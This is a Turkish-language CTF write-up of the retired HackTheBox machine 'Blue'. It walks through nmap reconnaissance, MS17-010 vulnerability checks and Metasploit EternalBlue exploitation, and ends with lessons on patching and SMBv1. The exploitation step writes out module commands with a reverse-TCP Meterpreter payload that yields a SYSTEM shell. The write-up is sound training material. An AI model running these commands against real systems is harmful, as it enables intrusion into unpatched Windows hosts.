[Write-up] HTB Blue — MS17-010 / EternalBlue

Zorluk: Kolay · Platform: HackTheBox (Retired) · Konu: MS17-010 / EternalBlue Blue, siber güvenlik tarihinin en bilinen zafiyetlerinden biri olan EternalBlue (MS17-010)'u pratik olarak deneyimlemek için tasarlanmış bir HTB makinesidir. Bu zafiyet, 2017'deki WannaCry fidye yazılımı salgınında kullanılmıştı. ■ 1. Keşif nmap -sC -sV -p- <hedef-ip> Açık portlar arasında SMB (445/tcp) dikkat çeker, işletim sistemi Windows 7'dir — bu, MS17-010 için klasik bir hedef profilidir. ■ 2. Zafiyet Doğrulama Nmap'in SMB zafiyet script'i doğrudan zafiyeti doğrulayabilir: nmap --script smb-vuln-ms17-010 -p445 <hedef-ip> Çıktıda "VULNERABLE" ibaresi görülürse hedef, EternalBlue'ya karşı savunmasızdır. ■ 3. Sömürü (Exploitation) Metasploit, bu zafiyet için hazır ve stabil bir modül sunar: use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <hedef-ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <kendi-ip> run Başarılı bir sömürü sonrasında doğrudan SYSTEM (Windows'un en yüksek yetki seviyesi) yetkisiyle bir Meterpreter oturumu elde edilir. getuid # NT AUTHORITY\SYSTEM ■ 4. Neden Bu Kadar Tehlikeliydi? MS17-010, SMBv1 protokolündeki bir bellek bozulması (memory corruption) zafiyetidir. NSA tarafından geliştirilip sızdırılan bu exploit, dünya genelinde yüz binlerce yamasız Windows sistemine bulaşan WannaCry ve NotPetya gibi büyük çaplı siber saldırılarda kullanıldı. ■ 5. Öğrenilen Dersler - Yama yönetimi (patch management) hayati önemdedir — bu zafiyet, Microsoft'un resmi yaması yayınlanmasından aylar sonra bile hâlâ dünya çapında istismar edildi. - SMBv1'in devre dışı bırakılması, modern Windows ortamlarında standart bir güvenlik pratiğidir. - Nmap'in zafiyet script'leri (smb-vuln-*), bir sızma testinde hızlı ön tarama için değerlidir. Blue, "bilinen ve yamalanmış bir zafiyetin bile ne kadar yıkıcı olabileceğini" gösteren en iyi örneklerden biridir.